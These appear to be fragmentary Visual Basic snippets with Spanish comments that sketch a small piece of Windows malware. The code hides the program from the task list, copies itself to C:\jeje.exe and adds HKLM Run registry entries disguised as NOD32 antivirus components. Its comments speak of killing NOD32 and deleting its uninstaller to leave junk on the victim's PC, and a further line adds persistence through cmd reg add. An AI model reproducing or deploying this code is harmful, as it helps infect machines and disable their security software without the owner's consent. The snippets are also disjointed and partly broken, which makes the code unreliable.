open "c:\archivo.txt" for append as #1
print #1, "lo q qras"
print #1, o_tal_vez_qrs_una_variable
print#1, text1.text 
close #1

Private Sub Form_Load()
App.TaskVisible = false

If App.PrevInstance then
end
end if

FileCopy App.ExeName + ".exe" , "c:\jeje"

Set shell = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
shell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\la entrada del nod krn" , "C:\jeje.exe"

shell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\la entrada del nod kui" , "C:\jeje.exe"

If fso.FileExists("C:\windows\the shredder.dll") Then
kill 'el nod32krn y el otro, tbn podrias borrarle el uninstall para 'dejar basura en su pc...
'a estas alturas el nod32 ya va a estar muerto xD
End
Else
Open "c:\windows\the shredder.dll" For Output As #1
Print #1, "jejeje, si existo realiza la acción, si no no"
Close #1
End
End If
End Sub

form2.visible = true
form1.visible = false 'esto solo si qieres tbn ocultar el form 1 si no tendras los 2 visibles

Shell "cmd.exe /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v NOMBRE /d c:\windows\system32\archivo.exe"

set fso = CreateObject("Scripting.FileSystemObject")
fso.CopyFile ".\archivo.vbs" , "c:\copia.vbs"